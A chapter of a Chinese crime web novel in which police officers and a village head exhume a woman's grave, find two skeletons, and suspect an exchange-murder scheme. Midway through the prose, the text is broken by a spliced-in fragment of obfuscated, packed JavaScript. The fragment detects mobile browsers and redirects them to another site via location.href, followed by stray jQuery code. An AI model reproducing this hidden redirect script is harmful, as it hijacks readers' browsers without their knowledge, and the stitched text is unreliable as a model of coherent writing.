59.坟墓
作品:《浴火而生》 出了汪明迅家的院子后,村长带着班青和白杨往余大佑家的老屋走去。
“警察同志,这边。”村长走在前头,伸出一只手指向林子旁的小路,转身对他们说道。
那小路两边的枝丫伸出来,将路面上方挡得不见一丝天光,两侧深绿色的芦苇叶子一团挨着一团,让人完全看不清中间的路。
林子里传来一声高过一声的蝉鸣,凄厉而绵长。
村长折断一根粗长的枯枝,一路走,一路打,走走停停,大概一刻钟后,总算在茂密的树枝中开出一条路来。
他扭头往回看,白杨和班青这时候也各自折了一根枯树枝,学着他的模样开路。
“嘿嘿,还好你们两个今天穿的运动鞋,不然不知道这些芦苇叶子能在脚上划出多少道口子。”村长说着,又伸出一只脚将旁边的芦苇团踩塌。
班青摘下落在肩膀上的枯树叶子,冲着村长感激地笑了笑,没说话。
余大佑家的老屋坐落在一个低矮的山坳中,面前正是途径河阴村的巢河,身后背靠大山。
此时正是下午日头毒辣的时候,竟然也不觉得炎热,山坳里能比外面的温度低上好几度。
老屋坐北朝南,环山面水,倒是个不错的住处,只不过房屋已经完全倒塌,残垣断壁四散在地,杂草丛生,有些泛黄的叶片从墙缝和石头缝中艰难地钻出,成了这里仅有的活物。
虽然只剩下坍塌在地的废墟,但仍然可以从残余的横梁和四四方方的墙壁中看出,这里曾经有人认真地生活过。
“你们别看这里破啊,风水在我们村里可是数一数二的。余大佑去了外地,再没回来过,这房子不住人,坏得就快。这不,就成这样了。”
村长说着,用他手里的棍子继续往前开路,班青和白杨跟在他身后,深一脚浅一脚地往山坳里走。
越往底下走,温度越低,越湿润,是蕨类植物最喜欢的环境,蕨草茂密,一团团地直到人的腰部,因而也越来越不好走。
“早知道你们要来这里,我就该带把锄头或者砍刀来。”村长皱着眉头,用枯枝劈开眼前厚密的蕨草。
短短一段路,三人走走停停地花了快半个小时,终于到了屋子前面。
“我记得是在这儿啊。”村长绕到屋子侧面,疑惑地握着棍子到处翻找,自言自语道。
走着走着,脚下突然踢到一块石头,村长还没来及喊出声,一个趔趄栽倒在地。
班青和白杨正在离他不远的地方,也学着他,握着根掰断的树枝翻找,只听一阵窸窸窣窣的声音,村长的人影紧跟着就消失不见。
“村长,村——”班青大声喊道。
她着急地跑向前,害怕对方万一跌落到什么枯井或者坑洞里。
“我没事儿,你们过来!”村长一边站起身,一边扶着他的老腰,向班青和白杨招手,“找到了,这儿呢!”
两人忙不迭地跑上前去,村长跌倒的地方,从地上拔地而起一个土包,隐藏在蕨草细密的枯黄叶片下,泥黄色和草叶的枯黄色混合在一起,凭肉眼绝对找不见。
“我就说呢,我记得孙英梅就是埋在这儿。”村长抹了把额头上的汗水,语气中少不得因为他的好记性而有几分得意。
“村长,你记性真好,几十年了还记得清清楚楚。”班青上道地恭维着。
村长登时就甩甩手,装作烦心的模样,“村长,村长,村民们的家长。我不操心些,谁操心啊?唉,没办法的事儿!”
虽然他这个临时村长干了才不过半个月,但是有句话说得好,“机会是留给有准备的人的”,他要是平时对这些事儿不上心,不爱出头,不爱表现,上一任村长倒台后,谁又能想起他?
白杨握拳挡在嘴巴前面,弯着腰,忍不住偷摸地笑,被班青不着声色地挡在身后。
“哎呀,也是个苦命的女人。孙家老头儿这辈子就这一个女儿,盼着她出嫁了,结果……唉,还是多个兄弟姐妹好。
“这不,你们看看,余大佑带着女儿走了后,没几年孙家老两口儿也死了,逢年过节的连个来上坟的人都没有。荒郊野外的,孤零零一个人,多可怜!”
村长一边长吁短叹,一边迅速扫光了坟茔周遭的野草,又是感慨了一番。
“不过……”他扭头疑惑地看着班青和白杨,“警察同志,你们来这里干啥啊?”
“啪嚓”一声,坟头上又一根树枝被折断,顺手被村长丢到一旁。
“挖坟查案。”白杨平静地说。
“啊?!”
村长窸窸窣窣地从包里掏出一包烟,抽出一根正要点上火,四下看了看枯枝和枯叶,默默地放回了包里。
他叹了叹气,“警察同志,不是我不配合你们工作,你说这,这……我怎么能干这种事儿呢?我虽说是村长,但也只是个临时的——”
“村长,这事儿啊全得仰仗你了,辛苦你一路,到时候我们回去就发个感谢函过来。”
“……那我打电话喊两个人来吧,没有现成的工具。”
“……”
早已腐烂的木质碎屑里,一大一小两具人形骸骨平躺在里面,被一缕一缕的黑灰色烂布条包在其间,在这处山坳里,孤孤单单地一躺就是二十几年。
巢河奔流向前,永无止息,而她们短短的一生,对东流的河水来说,太过短暂。
村长和他喊来的两个庄稼汉子朝里看了一眼后,纷纷后退几步,你看我,我看你。
“我没记错啊,这不是孙英梅的坟吗?”村长指着两具骸骨,问他身边一个拿着锄头的精瘦男子。
男子眼睛圆睁,放大声音,十分有底气,“我反正不可能记错,她的棺材还是我来抬的,就是这个!”
“你们没记错,就是孙英梅的坟墓。这具小的……是她和余大佑的女儿,余珍宝。”班青突然出声道。
那日李江涛走后,班青他们抱着试一试的想法,去中心医院调查了当年余珍宝的病例。
所幸,那家医院还留着当年的住院病例,不过工作人员在医院的档案室里找了许久才找出来。
找医生咨询了病历上的内容后,班青和白杨马不停蹄地就来了河阴村。
果然……
班青站在坟墓旁边,久久地站定,一言不发。
这样的场景,她做警察以来,不是没见过。但是见到一大一小两具骸骨依偎在一起的场景,总觉得心里犯堵。
算一算年纪,汪明远的女儿和余大佑的女儿,两人应该岁数相当。
她们同样被母亲拼尽了全力地爱着、护着,最后也同样地,没能度过那年寒冷的冬天。
但不同的是,一个被父亲坚定地选择,救了又救,万般无奈,最终才含泪放弃;而另一个,和小猫小狗没什么分别,不被人爱了,就狠心地丢进火里,连流浪的机会也被剥夺。
班青和白杨走出河阴村时,已经是下午六点多。虽然距离关图县还有一段路,但好在这些日子天黑得晚。
两人将车停在一处山顶上,班青站在路边,看向头顶辽远无垠的天幕,那橘红色的晚霞如同大海里翻腾的浪花,一浪盖过一浪,转眼间就弥漫了整个天际。
“你说,那晚院子起火的时候,会不会也染红了整片天?”班青双手插兜,一只脚伸出去,踏在路旁的灰白色岩石上。
“怎么了这是,突然浪漫主义起来?这跟你平时的风格可不太像啊!”
白杨也想学着她,踩着石头做出一个眺望远方的姿势,但是伸了脚才发现周围只有班青脚下那一块岩石。
他讪讪地摸了摸鼻子,然后双手插兜,装作若无其事地做出一个稍息的姿势。
“没什么,”班青转头看了看白杨,又情绪低落地摇了摇头,“只是突然有些感慨。你说,真的会有这种人吗,能狠心到杀了自己的妻子和女儿?”
班青走出河阴村后,就一直心不在焉。
事情到了这一步,虽然因为年代久远,确凿的证据都已经因为各种说不清道不明的原因而缺失,但是一个越来越清晰的猜测浮现在了她的脑海里:交换杀人。
她知道作为一个警察,证人证言和其他的证据还不够,需要一个直接证据才能定案,但是她却抑制不住心中久久难平的波动。
她生在一个父母关系和睦的家庭,作为家中的独生女,从小跟眼珠子一样被父母爱护着。
从小到大,不论她想要什么,不论她的要求有多过分、多离谱,只要没有危害到他人,父母总是全力地满足。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426362|179109||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>直到她十八岁那年,一直对她无所不依的父母才跟她起了最大的一次冲突。
因为她不听父母的人生建议,不愿意按照他们两人的想法学商科;因为她“死不悔改”,从小就想要做警察,并且到了高考的时候真的瞒着家里人修改了志愿。
所以父母对她施加了最严厉的惩罚,只为了惩罚她的一意孤行、死不悔改。
那时候,只除了第一学年开学必须缴纳的学费和住宿费,父母断了她所有的钱。她衣食无忧的大小姐生活骤然结束,不很清楚怎么才能从社会赚到谋生的钱。
那是她最艰难的时刻,最窘迫的时段,但好在遇到了许姝。
不过,那已经是她能想出并且真的遇到的最大的苦难。
虽然时至今日,她和父母已经勉强修复了关系,但想到那时候他们两个的决绝和狠心,时不时还是觉得有些委屈。
所以,当她脑中的猜测逐渐成形的时候,她忍不住地心疼起那两个小女孩,特别是汪舒。
因为父母的期盼才懵懂地来到这个垃圾场一样的人世间,结果又因为父亲不再期待,连像垃圾一样地做个无人疼爱的流浪儿的机会也没有,没法选择地被剥夺了生命。
汪舒,汪舒,如果真是“舒适”的“舒”,那该有多讽刺啊……
连她的名字也在笑话她。
白杨看她心情低落,决定转移话题,讨论讨论案情。
“看来咱俩又想到一处去了。结合李江涛和汪明迅的证词,我推测,汪明远出轨了周琳或者别的什么原因,于是他对妻女动了杀念,为了使得作案过程更加隐蔽,他并没有亲自动手——”
“而是因缘际会地发现了同村的余大佑也陷入困境,所以他心生一计,决定和余大佑交换杀人。”班青打断了他的推测,补充道。
白杨点点头,“两人互相知道对方的秘密,因此绝不可能轻易透露,否则就会引火烧身。因此和耿登合谋胁迫汪明远赴约的人,要么是余大佑本人,要么是和余大佑亲近的人。”
其实他之前还怀疑过余珍宝,只不过……
班青扭头注视着白杨,满脸沮丧,“证据啊,证据……”
跨度长,牵扯的案子多,几乎可以说是白杨工作以来碰到的最复杂的情况。
一个汪明远的死亡,一个耿登的死亡,牵扯出孙英梅案、耿攀死亡案,现在还得加上许楠一案。
自从那日李江涛走后,他们几个跟打了鸡血似的,又连轴转了几天,却还是原地踏步。
好不容易找到了汪明远当年在粱梦中学比较要好的同事,本想找他了解下汪明远的情况,但对方未老先痴呆,前些年就办了病退。
网上关于周维海的报道不少,但大多数围绕着失踪的安置费和他的暴毙,多以猎奇为主,他和汪明远和周琳的关系更是无从查证。
故而他们兜兜转转,除了李江涛口述的内容,并没有新的线索。
虽说办案是个技术活,但有几分运气也是好的,可他们运气也不佳。
天公不作美,连着许久干旱,偏偏就在案发后不久就下了雨。
汪明远案发当日,因着工厂里堆积了大量石棉口袋,加之八月高温下干了大半的野草,那一把大火恨不得连空气都烧个全乎,更别说留下一星半点的线索。
而排污管道里发现的两把刀子,距离发现的时候,已经在泥水里泡了多天,别说一枚指纹,能从上面提取到受害者的血迹已经是相当不易。
看着好像真相就在眼前,就差捅破一层窗户纸,可是窗户太多,偏偏又不知道是哪一扇……
白杨正和班青相顾无言,这时,白杨包里的手机铃声响了起来。
“杨哥,青姐,你们那边事儿处理完了吗?”梁斌瓮声瓮气地问道,然后打了个呵欠。
“差不多了,怎么,你和小新那边进展如何?”
一阵大风吹过,两人的衣摆跟着晃来晃去。
风越来越大,将班青耳旁的碎发也吹起,她伸出手指捋了捋,冲白杨使了个眼色,问他电话那头都说了些什么。
白杨打开免提,放到两人中间的位置,蔡小新张狂得意的声音咋咋呼呼地传了出来:“我的哥,我的姐,你俩快回来!周维海的事儿有新进展了!”